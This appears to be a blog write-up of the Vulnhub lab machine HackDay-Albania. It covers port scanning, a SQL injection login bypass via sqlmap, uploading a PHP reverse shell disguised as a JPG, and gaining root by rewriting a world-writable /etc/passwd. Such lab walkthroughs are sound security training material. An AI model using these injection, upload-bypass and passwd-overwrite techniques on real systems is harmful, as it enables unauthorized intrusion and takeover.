Vulnhub Write-up #2 : HackDay-Albania

5 minute read

In this writeup we are looking at HackDay-Albania from Vulnhub. I spent time to complete this VM as it took my atention as the first Albanian VM I have ever seen since I am an albanian too and would be interested to take a look. This machine has quite an interesting walkthrough with beginner to intermediate level steps. Starts with a vulnerable bank from where we can drop a reverse shell and then write to /etc/passwd to escalate to root. Lets dig in:


As always starting with a nmap scan after setting up the image to virtualbox and powering it on we get those results :

root@kali:~# nmap -sC -A
Starting Nmap 7.80 ( ) at 2020-05-06 20:00 CEST
Nmap scan report for
Host is up (0.00025s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 39:76:a2:f0:82:5f:1f:75:0d:e4:c4:c5:a7:48:b1:58 (RSA)
|   256 21:fe:63:45:2c:cb:a1:f1:b6:ba:36:dd:ed:d3:d9:48 (ECDSA)
|_  256 25:94:fb:00:c2:c0:ef:30:4a:02:d2:39:d5:57:17:a8 (ED25519)
8008/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 26 disallowed entries (15 shown)
| /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ 
| /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ 
| /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ 
|_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HackDay Albania 2016
MAC Address: 08:00:27:DC:2E:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.25 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.65 seconds

Port 22 (SSH) and Port 8008 (HTTP) opened… The HTTP Server comes up with a bunch of random word directories which seem weird to me.

I firstly tried to navigate to the HTTP server and look for something around :


This is the image presented in the root page alongside with a message written in Albania language which means :

If it's me, I know where to go ;)


After failing to grab any other possible information from the http server I randomly picked one and tried to navigate to it and ended up with the following result : wrong

Another image with a message in albanian which means :

is this the right directory? or am I loosing my time?

I found this helpful because while randomly navigating to other directories this could help us identify the useful directory… After some attempts /unisxcudkqjydw/ returns with the following message :

IS there any /vulnbank/ in there ???

Initial Foothold

I tried to navigate to /unisxcudkqjydw/vulnbank and it seemed like it was a valid directory with content on it :


Accessing client/ shows the following site :


A login page which is probably vulnerable to sql injection , however the usual manual injections didnt work so I decided to fire sqlmap against it :

root@kali:~# sqlmap -u --forms


ctSS' RLIKE SLEEP(5)-- sohc and empty username seems to be legit for sqlmap… so why not for us? I went to try it to the login page and was able to succesfully bypass the login page :


A upload option is presented to us in the main page which means : MONEY! I tried to upload a random thing and got the following warning :

After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc...

My first thought was that we could make a reverse shell written in php and inject magic bytes in the beggining of the file so the server would identify it as a JPG file so I went ahead to try that :

root@kali:~# echo -e '\xff\xd8\xff\xdb' > fake.php.jpg

After injecting the magic byte to the fake.php.jpg we can go ahead and edit it with vi or any preferred text editor and paste the php reverse shell code.

Afterwards I tried to upload , however no luck with this method and no reverse shell was poped which made me confused… I made a second attempt but this time I simply copied the php reverse shell code in a .jpg file format and tried to upload it :

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shelltest.jpg

After clicking View Ticket in the main page I finally got a response :


Finally a reverse shell as www-data

Escalating to User

I quickly located the bank files in machine and went through config.php to see for a possible password reuse somewhere :


Woaah!! Nice password over there , but not the correct one to su as taviso so I used the credentials to login to the mysql database and maybe find some other passwords :


2 more useless passwords appeared which again didnt work , so I began to enumerate more…

I was trying to find writable permissions when I found something interesting :

www-data@hackday:/$ ls -la /etc/passwd
ls -la /etc/passwd
-rw-r--rw- 1 root root 1623 Oct 22  2016 /etc/passwd

I have write access over /etc/passwd and the first guess was to add a new password for user : taviso so I copied the contents of file in my machine , generated a new password for taviso : albania and re-uploaded the file to the machine :

root@kali:~# openssl passwd -1
Verifying - Password: 
www-data@hackday:/tmp$ cp passwd /etc/passwd
cp passwd /etc/passwd
www-data@hackday:/tmp$ cat /etc/passwd
cat /etc/passwd

Now I can simply try to su as taviso using the password we set : site

And … we are in as Taviso!

Root Privesc

The first basic enumeration for the next privesc sudo -l gave me enough to do the next step :

taviso@hackday:/tmp$ sudo -l
sudo -l
[sudo] password for taviso: albania

Matching Defaults entries for taviso on hackday:
    env_reset, mail_badpass,

User taviso may run the following commands on hackday:
    (ALL : ALL) ALL

Seems like user Taviso has permission to run any command as sudo and seems like we can simply use sudo su to grab a root shell:


I really liked this machine and I was so excited to try out an Albanian Machine.

Buy me a coffeeBuy me a coffee

Leave a comment